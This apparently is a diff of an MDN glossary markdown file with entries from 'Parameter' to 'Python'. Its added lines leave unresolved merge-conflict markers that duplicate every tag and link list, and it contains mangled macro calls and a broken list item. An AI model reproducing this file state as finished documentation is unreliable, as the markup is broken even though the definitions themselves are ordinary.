+>>>>>>> master
 
 ---
 
 ## Term: Parameter
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -9041,9 +13802,14 @@ For example:
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function example(parameter) {
     console.log(parameter); // Output = foo
@@ -9056,6 +13822,7 @@ example(argument);
 
 Note the difference between _parameters_ and _arguments_:
 
+<<<<<<< HEAD
 - Function parameters are the names listed in the function's definition.
 - Function _Glossary("argument","arguments"_) are the real values passed to the function.
 - Parameters are initialized to the values of the arguments supplied.
@@ -9072,14 +13839,38 @@ Two kinds of parameters:
 - [Difference between _parameter_ and _argument_](https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29#Parameters_and_arguments) on Wikipedia
 - [Function declaration](/en-US/docs/Web/JavaScript/Reference/Statements/function)
 - [Function expression](/en-US/docs/Web/JavaScript/Reference/Operators/function)
+=======
+-   Function parameters are the names listed in the function's definition.
+-   Function _Glossary("argument","arguments"_) are the real values passed to the function.
+-   Parameters are initialized to the values of the arguments supplied.
+
+Two kinds of parameters:
+
+-   input parameters
+-   -   : the most common kind; they pass values into functions. Depending on programming language, input parameters can be passed several ways (e.g., call-by-value, call-by-address, call-by-reference).
+-   output/return parameters
+    -   : primarily return multiple values from a function, but not recommended since they cause confusion
+
+#### See also
+
+-   [Difference between _parameter_ and _argument_](https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29#Parameters_and_arguments) on Wikipedia
+-   [Function declaration](/en-US/docs/Web/JavaScript/Reference/Statements/function)
+-   [Function expression](/en-US/docs/Web/JavaScript/Reference/Operators/function)
+>>>>>>> master
 
 ---
 
 ## Term: Parent object
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - NeedsContent
+=======
+-   CodingScripting
+-   Glossary
+-   NeedsContent
+>>>>>>> master
 
 ---
 
@@ -9087,12 +13878,17 @@ Two kinds of parameters:
 
 #### See also
 
+<<<<<<< HEAD
 - [Discussion of Inheritance and prototypes in JavaScript](/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain)
+=======
+-   [Discussion of Inheritance and prototypes in JavaScript](/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain)
+>>>>>>> master
 
 ---
 
 ## Term: Parse
 
+<<<<<<< HEAD
 - Browser
 - CSS
 - CodingScripting
@@ -9100,6 +13896,15 @@ Two kinds of parameters:
 - HTML
 - JavaScript
 - Web Performance
+=======
+-   Browser
+-   CSS
+-   CodingScripting
+-   Glossary
+-   HTML
+-   JavaScript
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -9111,14 +13916,23 @@ JavaScript parsing is done during _glossary("compile time"_) or whenever the _gl
 
 #### See also
 
+<<<<<<< HEAD
 - [Parse](https://en.wikipedia.org/wiki/Parsing) on Wikipedia
+=======
+-   [Parse](https://en.wikipedia.org/wiki/Parsing) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Parser
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -9128,14 +13942,23 @@ More generally, it's a piece of software that parses text and transforms its con
 
 #### See also
 
+<<<<<<< HEAD
 - [Parser](https://en.wikipedia.org/wiki/Parsing#Parser) on Wikipedia
+=======
+-   [Parser](https://en.wikipedia.org/wiki/Parsing#Parser) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Payload body
 
+<<<<<<< HEAD
 - HTTP
 - HTTP Header
+=======
+-   HTTP
+-   HTTP Header
+>>>>>>> master
 
 ---
 
@@ -9173,10 +13996,17 @@ For more information see [RFC 7230, section 3.3: Message Body](https://datatrack
 
 ## Term: Payload header
 
+<<<<<<< HEAD
 - Glossary
 - Payload header
 - Headers
 - WebMechanics
+=======
+-   Glossary
+-   Payload header
+-   Headers
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -9188,6 +14018,7 @@ The payload headers include: _HTTPHeader("Content-Length"_), _HTTPHeader("Conten
 
 #### See also
 
+<<<<<<< HEAD
 - [List of all HTTP headers](/en-US/docs/Web/HTTP/Headers)
 
     - _HTTPHeader("Content-Length"_)
@@ -9197,15 +14028,33 @@ The payload headers include: _HTTPHeader("Content-Length"_), _HTTPHeader("Conten
     - _Glossary("Representation header"_)
 
 - [RFC 7231, section 3.3: Payload semantics](https://datatracker.ietf.org/doc/html/rfc7231#section-3.3)
+=======
+-   [List of all HTTP headers](/en-US/docs/Web/HTTP/Headers)
+
+    -   _HTTPHeader("Content-Length"_)
+    -   _HTTPHeader("Content-Range"_)
+    -   _HTTPHeader("Trailer"_)
+    -   _HTTPHeader("Transfer-Encoding"_)
+    -   _Glossary("Representation header"_)
+
+-   [RFC 7231, section 3.3: Payload semantics](https://datatracker.ietf.org/doc/html/rfc7231#section-3.3)
+>>>>>>> master
 
 ---
 
 ## Term: PDF
 
+<<<<<<< HEAD
 - Composing
 - Glossary
 - PDF
 - Portable Document Format
+=======
+-   Composing
+-   Glossary
+-   PDF
+-   Portable Document Format
+>>>>>>> master
 
 ---
 
@@ -9213,16 +14062,27 @@ The payload headers include: _HTTPHeader("Content-Length"_), _HTTPHeader("Conten
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Portable Document Format", "PDF"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Portable Document Format", "PDF"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Perceived performance
 
+<<<<<<< HEAD
 - Glossary
 - Perceived Performance
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   Perceived Performance
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -9230,14 +14090,23 @@ The payload headers include: _HTTPHeader("Content-Length"_), _HTTPHeader("Conten
 
 #### See also
 
+<<<<<<< HEAD
 - [Perceived performance](/en-US/docs/Learn/Performance/Perceived_performance)
+=======
+-   [Perceived performance](/en-US/docs/Learn/Performance/Perceived_performance)
+>>>>>>> master
 
 ---
 
 ## Term: Percent-encoding
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -9272,19 +14141,33 @@ Depending on the context, the character `' '` is translated to a `'+'` (like in
 
 #### See also
 
+<<<<<<< HEAD
 - Definition of [percent-encoding](https://en.wikipedia.org/wiki/Percent-encoding) in Wikipedia.
 - _RFC(3986_), section 2.1, where this encoding is defined.
+=======
+-   Definition of [percent-encoding](https://en.wikipedia.org/wiki/Percent-encoding) in Wikipedia.
+-   _RFC(3986_), section 2.1, where this encoding is defined.
+>>>>>>> master
 
 ---
 
 ## Term: PHP
 
+<<<<<<< HEAD
 - Beginner
 - CodingScripting
 - Glossary
 - Infrastructure
 - Intro
 - PHP
+=======
+-   Beginner
+-   CodingScripting
+-   Glossary
+-   Infrastructure
+-   Intro
+-   PHP
+>>>>>>> master
 
 ---
 
@@ -9330,6 +14213,7 @@ Depending on the context, the character `' '` is translated to a `'+'` (like in
 
 #### See also
 
+<<<<<<< HEAD
 - [Official website](https://php.net/)
 - _Interwiki("wikipedia", "PHP"_) on Wikipedia
 - [PHP](https://en.wikibooks.org/wiki/PHP_Programming) on Wikibooks
@@ -9339,14 +14223,31 @@ Depending on the context, the character `' '` is translated to a `'+'` (like in
     - _Glossary("JavaScript"_)
     - _Glossary("Python"_)
     - _Glossary("Ruby"_)
+=======
+-   [Official website](https://php.net/)
+-   _Interwiki("wikipedia", "PHP"_) on Wikipedia
+-   [PHP](https://en.wikibooks.org/wiki/PHP_Programming) on Wikibooks
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Java"_)
+    -   _Glossary("JavaScript"_)
+    -   _Glossary("Python"_)
+    -   _Glossary("Ruby"_)
+>>>>>>> master
 
 ---
 
 ## Term: Pixel
 
+<<<<<<< HEAD
 - Design
 - Glossary
 - Graphics
+=======
+-   Design
+-   Glossary
+-   Graphics
+>>>>>>> master
 
 ---
 
@@ -9356,15 +14257,25 @@ Display resolution is expressed in the unit of pixels. eg: A "800 x 600" pixel r
 
 #### See also
 
+<<<<<<< HEAD
 - [Pixel ](https://en.wikipedia.org/wiki/Pixel)on Wikipedia
+=======
+-   [Pixel ](https://en.wikipedia.org/wiki/Pixel)on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Placeholder names
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -9372,17 +14283,29 @@ Display resolution is expressed in the unit of pixels. eg: A "800 x 600" pixel r
 
 The most commonly used names are:
 
+<<<<<<< HEAD
 - _Alice_ and _Bob_, two parties who want to send messages to each other, occasionally joined by _Carol_, a third participant
 - _Eve_, a passive attacker who is eavesdropping on Alice and Bob's conversation
 - _Mallory_, an active attacker ("man-in-the-middle") who is able to modify their conversation and replay old messages
+=======
+-   _Alice_ and _Bob_, two parties who want to send messages to each other, occasionally joined by _Carol_, a third participant
+-   _Eve_, a passive attacker who is eavesdropping on Alice and Bob's conversation
+-   _Mallory_, an active attacker ("man-in-the-middle") who is able to modify their conversation and replay old messages
+>>>>>>> master
 
 ---
 
 ## Term: Plaintext
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -9408,17 +14331,29 @@ Plugins should not be confused with browser extensions, which unlike plugins are
 
 #### See also
 
+<<<<<<< HEAD
 - [Adobe Flash end-of-life announcement](https://blog.adobe.com/en/publish/2017/07/25/adobe-flash-update#gs.g8mmgf)
+=======
+-   [Adobe Flash end-of-life announcement](https://blog.adobe.com/en/publish/2017/07/25/adobe-flash-update#gs.g8mmgf)
+>>>>>>> master
 
 ---
 
 ## Term: PNG
 
+<<<<<<< HEAD
 - Beginner
 - Composing
 - Glossary
 - Infrastructure
 - PNG
+=======
+-   Beginner
+-   Composing
+-   Glossary
+-   Infrastructure
+-   PNG
+>>>>>>> master
 
 ---
 
@@ -9426,17 +14361,29 @@ Plugins should not be confused with browser extensions, which unlike plugins are
 
 #### See also
 
+<<<<<<< HEAD
 - [PNG ](https://en.wikipedia.org/wiki/Portable_Network_Graphics)on Wikipedia
+=======
+-   [PNG ](https://en.wikipedia.org/wiki/Portable_Network_Graphics)on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Polyfill
 
+<<<<<<< HEAD
 - Browser Support
 - CodingScripting
 - Glossary
 - JavaScript
 - polyfill
+=======
+-   Browser Support
+-   CodingScripting
+-   Glossary
+-   JavaScript
+-   polyfill
+>>>>>>> master
 
 ---
 
@@ -9450,14 +14397,23 @@ Other times, polyfills are used to address issues where browsers implement the s
 
 #### See also
 
+<<<<<<< HEAD
 - [What is a polyfill?](https://remysharp.com/2010/10/08/what-is-a-polyfill) (article by Remy Sharp, the originator of the term)
+=======
+-   [What is a polyfill?](https://remysharp.com/2010/10/08/what-is-a-polyfill) (article by Remy Sharp, the originator of the term)
+>>>>>>> master
 
 ---
 
 ## Term: Polymorphism
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -9469,15 +14425,25 @@ In the case of _glossary("OOP"_), by making the _glossary("class"_) responsible
 
 #### See also
 
+<<<<<<< HEAD
 - [Polymorphism](https://en.wikipedia.org/wiki/Polymorphism_%28computer_science%29) on Wikipedia
+=======
+-   [Polymorphism](https://en.wikipedia.org/wiki/Polymorphism_%28computer_science%29) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: POP3
 
+<<<<<<< HEAD
 - Beginner
 - Glossary
 - Infrastructure
+=======
+-   Beginner
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -9487,6 +14453,7 @@ Clients usually retrieve all messages and then delete them from the server, but
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Post Office Protocol", "POP"_) on Wikipedia
 - [RFC 1734](https://datatracker.ietf.org/doc/html/rfc1734) (Specification of POP3 authentication mechanism)
 - [RFC 1939](https://datatracker.ietf.org/doc/html/rfc1939) (Specification of POP3)
@@ -9494,16 +14461,33 @@ Clients usually retrieve all messages and then delete them from the server, but
 - [MDN Web Docs Glossary](/en-US/docs/Glossary):
 
     - _Glossary("IMAP"_)
+=======
+-   _Interwiki("wikipedia", "Post Office Protocol", "POP"_) on Wikipedia
+-   [RFC 1734](https://datatracker.ietf.org/doc/html/rfc1734) (Specification of POP3 authentication mechanism)
+-   [RFC 1939](https://datatracker.ietf.org/doc/html/rfc1939) (Specification of POP3)
+-   [RFC 2449](https://datatracker.ietf.org/doc/html/rfc2449) (Specification of POP3 extension mechanism)
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary):
+
+    -   _Glossary("IMAP"_)
+>>>>>>> master
 
 ---
 
 ## Term: Port
 
+<<<<<<< HEAD
 - Glossary
 - Intro
 - Security
 - computer network
 - port
+=======
+-   Glossary
+-   Intro
+-   Security
+-   computer network
+-   port
+>>>>>>> master
 
 ---
 
@@ -9513,16 +14497,27 @@ For example, the default port for the _Glossary("HTTP"_) protocol is 80 and the
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Port (computer networking)" , "Port"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Port (computer networking)" , "Port"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Prefetch
 
+<<<<<<< HEAD
 - Glossary
 - Prefetch
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   Prefetch
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -9553,21 +14548,37 @@ Browsers will prefetch content when the prefetch [`<link>`](/en-US/docs/Web/HTML
 
 #### See also
 
+<<<<<<< HEAD
 - defer
 - async
 - [preload](/en-US/docs/Web/HTML/Link_types/preload)
 - [page prediction](/en-US/docs/Glossary/Page_prediction)
 - [lazy loading](/en-US/docs/Web/Performance/Lazy_loading)
+=======
+-   defer
+-   async
+-   [preload](/en-US/docs/Web/HTML/Link_types/preload)
+-   [page prediction](/en-US/docs/Glossary/Page_prediction)
+-   [lazy loading](/en-US/docs/Web/Performance/Lazy_loading)
+>>>>>>> master
 
 ---
 
 ## Term: Preflight request
 
+<<<<<<< HEAD
 - CORS
 - Glossary
 - HTTP
 - Preflight
 - request
+=======
+-   CORS
+-   Glossary
+-   HTTP
+-   Preflight
+-   request
+>>>>>>> master
 
 ---
 
@@ -9600,18 +14611,31 @@ The preflight response can be optionally cached for the requests created in the
 
 #### See also
 
+<<<<<<< HEAD
 - _Glossary("CORS"_)
 - _HTTPMethod("OPTIONS"_)
+=======
+-   _Glossary("CORS"_)
+-   _HTTPMethod("OPTIONS"_)
+>>>>>>> master
 
 ---
 
 ## Term: Prerender
 
+<<<<<<< HEAD
 - Glossary
 - Prefetch
 - Security
 - Web Performance
 - prerender
+=======
+-   Glossary
+-   Prefetch
+-   Security
+-   Web Performance
+-   prerender
+>>>>>>> master
 
 ---
 
@@ -9623,14 +14647,23 @@ The preflight response can be optionally cached for the requests created in the
 
 #### See also
 
+<<<<<<< HEAD
 - [prefetch](/en-US/docs/Glossary/Prefetch)
+=======
+-   [prefetch](/en-US/docs/Glossary/Prefetch)
+>>>>>>> master
 
 ---
 
 ## Term: Presto
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -9638,15 +14671,25 @@ The preflight response can be optionally cached for the requests created in the
 
 #### See also
 
+<<<<<<< HEAD
 - [Presto layout engine](https://en.wikipedia.org/wiki/Presto_%28layout_engine%29) on Wikipedia
+=======
+-   [Presto layout engine](https://en.wikipedia.org/wiki/Presto_%28layout_engine%29) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Primitive
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -9663,6 +14706,10 @@ This example will help you understand that primitive values are **immutable.**
 ### JavaScript
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 // Using a string method doesn't mutate the string
 var bar = 'baz';
 console.log(bar); // baz
@@ -9685,16 +14732,25 @@ A primitive can be replaced, but it can't be directly altered.
 
 Except for `null` and `undefined`, all primitive values have object equivalents that wrap around the primitive values:
 
+<<<<<<< HEAD
 - _jsxref("String"_) for the string primitive.
 - _jsxref("Number"_) for the number primitive.
 - _jsxref("BigInt"_) for the bigint primitive.
 - _jsxref("Boolean"_) for the boolean primitive.
 - _jsxref("Symbol"_) for the symbol primitive.
+=======
+-   _jsxref("String"_) for the string primitive.
+-   _jsxref("Number"_) for the number primitive.
+-   _jsxref("BigInt"_) for the bigint primitive.
+-   _jsxref("Boolean"_) for the boolean primitive.
+-   _jsxref("Symbol"_) for the symbol primitive.
+>>>>>>> master
 
 The wrapper's [`valueOf()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf) method returns the primitive value.
 
 #### See also
 
+<<<<<<< HEAD
 - [JavaScript data types](/en-US/docs/Web/JavaScript/Data_structures)
 - _Interwiki("wikipedia", "Primitive data type"_) (Wikipedia)
 - [Glossary](/en-US/docs/Glossary)
@@ -9707,12 +14763,30 @@ The wrapper's [`valueOf()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/
     - _Glossary("null"_)
     - _Glossary("undefined"_)
     - _Glossary("symbol"_)
+=======
+-   [JavaScript data types](/en-US/docs/Web/JavaScript/Data_structures)
+-   _Interwiki("wikipedia", "Primitive data type"_) (Wikipedia)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("JavaScript"_)
+    -   _Glossary("string"_)
+    -   _Glossary("number"_)
+    -   _Glossary("bigint"_)
+    -   _Glossary("boolean"_)
+    -   _Glossary("null"_)
+    -   _Glossary("undefined"_)
+    -   _Glossary("symbol"_)
+>>>>>>> master
 
 ---
 
 ## Term: privileged code
 
+<<<<<<< HEAD
 - privileged
+=======
+-   privileged
+>>>>>>> master
 
 ---
 
@@ -9724,8 +14798,13 @@ The wrapper's [`valueOf()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/
 
 ## Term: Privileged
 
+<<<<<<< HEAD
 - Glossary
 - Security
+=======
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -9733,16 +14812,27 @@ The wrapper's [`valueOf()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Privilege (computing)"_) on Wikipedia
 - [Information Security Tutorial](/en-US/docs/Web/Security/Information_Security_Basics)
+=======
+-   _Interwiki("wikipedia", "Privilege (computing)"_) on Wikipedia
+-   [Information Security Tutorial](/en-US/docs/Web/Security/Information_Security_Basics)
+>>>>>>> master
 
 ---
 
 ## Term: Progressive Enhancement
 
+<<<<<<< HEAD
 - Accessibility
 - Design
 - Glossary
+=======
+-   Accessibility
+-   Design
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -9758,19 +14848,33 @@ Progressive enhancement is a useful technique that allows web developers to focu
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Progressive enhancement"_) at Wikipedia
 - [What is Progressive Enhancement, and why it matters](https://www.freecodecamp.org/news/what-is-progressive-enhancement-and-why-it-matters-e80c7aaf834a/) at freeCodeCamp
 - [Progressive Enhancement reading list 2021](https://www.quirksmode.org/blog/archives/2021/02/progressive_enh_1.html) at QuirksMode
 - [Understanding Progressive Enhancement](https://alistapart.com/article/understandingprogressiveenhancement/) by Aaron Gustafson; a 2008 _A List Apart_ article which first "placed progressive enhancement at the forefront of web developer thinking"
 - [Inclusive Web Design For the Future with Progressive Enhancement](http://hesketh.com/publications/inclusive_web_design_for_the_future/) ([related article)](http://www.hesketh.com/progressive_enhancement_and_the_future_of_web_design.html) by Steve Champeon and Nick Finck; a 2003 SXSW presentation cited by Aaron Gustafson as "unveiling a blueprint for a new way of approaching web development", and naming it "progressive enhancement"
+=======
+-   _Interwiki("wikipedia", "Progressive enhancement"_) at Wikipedia
+-   [What is Progressive Enhancement, and why it matters](https://www.freecodecamp.org/news/what-is-progressive-enhancement-and-why-it-matters-e80c7aaf834a/) at freeCodeCamp
+-   [Progressive Enhancement reading list 2021](https://www.quirksmode.org/blog/archives/2021/02/progressive_enh_1.html) at QuirksMode
+-   [Understanding Progressive Enhancement](https://alistapart.com/article/understandingprogressiveenhancement/) by Aaron Gustafson; a 2008 _A List Apart_ article which first "placed progressive enhancement at the forefront of web developer thinking"
+-   [Inclusive Web Design For the Future with Progressive Enhancement](http://hesketh.com/publications/inclusive_web_design_for_the_future/) ([related article)](http://www.hesketh.com/progressive_enhancement_and_the_future_of_web_design.html) by Steve Champeon and Nick Finck; a 2003 SXSW presentation cited by Aaron Gustafson as "unveiling a blueprint for a new way of approaching web development", and naming it "progressive enhancement"
+>>>>>>> master
 
 ---
 
 ## Term: Progressive web apps
 
+<<<<<<< HEAD
 - Composing
 - Glossary
 - Progressive web apps
+=======
+-   Composing
+-   Glossary
+-   Progressive web apps
+>>>>>>> master
 
 ---
 
@@ -9780,17 +14884,29 @@ These features include being installable, working offline, and being easy to syn
 
 #### See also
 
+<<<<<<< HEAD
 - The [App Center](/en-US/docs/Web/Progressive_web_apps) on MDN
 - [Progressive web apps](https://web.dev/progressive-web-apps/) on Google Developers
+=======
+-   The [App Center](/en-US/docs/Web/Progressive_web_apps) on MDN
+-   [Progressive web apps](https://web.dev/progressive-web-apps/) on Google Developers
+>>>>>>> master
 
 ---
 
 ## Term: Promise
 
+<<<<<<< HEAD
 - Glossary
 - Promise
 - Promises
 - asynchronous
+=======
+-   Glossary
+-   Promise
+-   Promises
+-   asynchronous
+>>>>>>> master
 
 ---
 
@@ -9800,16 +14916,27 @@ When the called function finishes its work _Glossary("asynchronous", "asynchrono
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Futures and promises"_)
 - _jsxref("Promise"_) in the [JavaScript Reference](/en-US/docs/Web/JavaScript/Reference).
 - [Using promises](/en-US/docs/Web/JavaScript/Guide/Using_promises)
+=======
+-   _interwiki("wikipedia", "Futures and promises"_)
+-   _jsxref("Promise"_) in the [JavaScript Reference](/en-US/docs/Web/JavaScript/Reference).
+-   [Using promises](/en-US/docs/Web/JavaScript/Guide/Using_promises)
+>>>>>>> master
 
 ---
 
 ## Term: Property
 
+<<<<<<< HEAD
 - Disambiguation
 - Glossary
+=======
+-   Disambiguation
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -9821,9 +14948,15 @@ When the called function finishes its work _Glossary("asynchronous", "asynchrono
 
 ## Term: Protocol
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Protocols
+=======
+-   Glossary
+-   Infrastructure
+-   Protocols
+>>>>>>> master
 
 ---
 
@@ -9831,6 +14964,7 @@ When the called function finishes its work _Glossary("asynchronous", "asynchrono
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Communications protocol"_) on Wikipedia
 - [RFC Official Internet Protocol Standards](https://www.rfc-editor.org/search/standards.php)
 - [HTTP overview](/en-US/docs/Web/HTTP/Overview)
@@ -9838,13 +14972,27 @@ When the called function finishes its work _Glossary("asynchronous", "asynchrono
 
     - _glossary("TCP"_)
     - _glossary("Packet"_)
+=======
+-   _Interwiki("wikipedia", "Communications protocol"_) on Wikipedia
+-   [RFC Official Internet Protocol Standards](https://www.rfc-editor.org/search/standards.php)
+-   [HTTP overview](/en-US/docs/Web/HTTP/Overview)
+-   Glossary:
+
+    -   _glossary("TCP"_)
+    -   _glossary("Packet"_)
+>>>>>>> master
 
 ---
 
 ## Term: Prototype-based programming
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -9854,15 +15002,25 @@ In simple words: this type of style allows the creation of an _Glossary('Object'
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Prototype-based programming", "Prototype-based programming"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Prototype-based programming", "Prototype-based programming"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Prototype
 
+<<<<<<< HEAD
 - Apps
 - Composing
 - Glossary
+=======
+-   Apps
+-   Composing
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -9872,15 +15030,25 @@ See [Inheritance and the prototype chain](/en-US/docs/Web/JavaScript/Inheritance
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Software Prototyping"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Software Prototyping"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Proxy server
 
+<<<<<<< HEAD
 - Glossary
 - Proxy
 - Server
+=======
+-   Glossary
+-   Proxy
+-   Server
+>>>>>>> master
 
 ---
 
@@ -9888,6 +15056,7 @@ See [Inheritance and the prototype chain](/en-US/docs/Web/JavaScript/Inheritance
 
 A proxy can be on the user's local computer, or anywhere between the user's computer and a destination server on the Internet. In general there are two main types of proxy servers:
 
+<<<<<<< HEAD
 - A **forward proxy** that handles requests from and to anywhere on the Internet.
 - A **reverse proxy** taking requests from the Internet and forwarding them to servers in an internal network.
 
@@ -9895,15 +15064,31 @@ A proxy can be on the user's local computer, or anywhere between the user's comp
 
 - [Proxy servers and tunneling](/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling)
 - [Proxy server](https://en.wikipedia.org/wiki/Proxy_server) on Wikipedia
+=======
+-   A **forward proxy** that handles requests from and to anywhere on the Internet.
+-   A **reverse proxy** taking requests from the Internet and forwarding them to servers in an internal network.
+
+#### See also
+
+-   [Proxy servers and tunneling](/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling)
+-   [Proxy server](https://en.wikipedia.org/wiki/Proxy_server) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Pseudo-class
 
+<<<<<<< HEAD
 - CSS
 - CodingScripting
 - Glossary
 - Selector
+=======
+-   CSS
+-   CodingScripting
+-   Glossary
+-   Selector
+>>>>>>> master
 
 ---
 
@@ -9911,15 +15096,25 @@ A proxy can be on the user's local computer, or anywhere between the user's comp
 
 #### See also
 
+<<<<<<< HEAD
 - [Pseudo-class documentation](/en-US/docs/Web/CSS/Pseudo-classes)
+=======
+-   [Pseudo-class documentation](/en-US/docs/Web/CSS/Pseudo-classes)
+>>>>>>> master
 
 ---
 
 ## Term: Pseudo-element
 
+<<<<<<< HEAD
 - CSS
 - CodingScripting
 - Glossary
+=======
+-   CSS
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -9927,15 +15122,25 @@ A proxy can be on the user's local computer, or anywhere between the user's comp
 
 #### See also
 
+<<<<<<< HEAD
 - [Pseudo-elements](/en-US/docs/Web/CSS/Pseudo-elements)
+=======
+-   [Pseudo-elements](/en-US/docs/Web/CSS/Pseudo-elements)
+>>>>>>> master
 
 ---
 
 ## Term: Pseudocode
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Pseudocode
+=======
+-   CodingScripting
+-   Glossary
+-   Pseudocode
+>>>>>>> master
 
 ---
 
@@ -9943,16 +15148,27 @@ A proxy can be on the user's local computer, or anywhere between the user's comp
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Pseudocode", "Pseudocode"_) on Wikipedia.
+=======
+-   _interwiki("wikipedia", "Pseudocode", "Pseudocode"_) on Wikipedia.
+>>>>>>> master
 
 ---
 
 ## Term: Public-key cryptography
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Public-key cryptography
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Public-key cryptography
+-   Security
+>>>>>>> master
 
 ---
 
@@ -9968,20 +15184,35 @@ Commonly used public-key cryptosystems are RSA (for both signing and encryption)
 
 #### See also
 
+<<<<<<< HEAD
 - [Web Crypto API](/en-US/docs/Web/API/Web_Crypto_API)
 - [MDN Web Docs Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Symmetric-key cryptography"_)
+=======
+-   [Web Crypto API](/en-US/docs/Web/API/Web_Crypto_API)
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Symmetric-key cryptography"_)
+>>>>>>> master
 
 ---
 
 ## Term: Python
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Language
 - Python
 - programming
+=======
+-   CodingScripting
+-   Glossary
+-   Language
+-   Python
+-   programming
+>>>>>>> master
 
 ---
 
@@ -9993,6 +15224,7 @@ Python is developed under an OSI-approved open source license, making it freely
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki('wikipedia','Python (programming language)','Python'_) on Wikipedia
 - [Official Python docs tutorials](https://docs.python.org/3/tutorial/index.html)
 - [Tutorials Point Python tutorial](https://www.tutorialspoint.com/python/index.htm)
@@ -10005,13 +15237,32 @@ Python is developed under an OSI-approved open source license, making it freely
     - _Glossary("PHP"_)
     - _Glossary("Python"_)
     - _Glossary("Ruby"_)
+=======
+-   _interwiki('wikipedia','Python (programming language)','Python'_) on Wikipedia
+-   [Official Python docs tutorials](https://docs.python.org/3/tutorial/index.html)
+-   [Tutorials Point Python tutorial](https://www.tutorialspoint.com/python/index.htm)
+-   [AlphaCodingSkills Python Tutorial](https://www.alphacodingskills.com/python/python-tutorial.php)
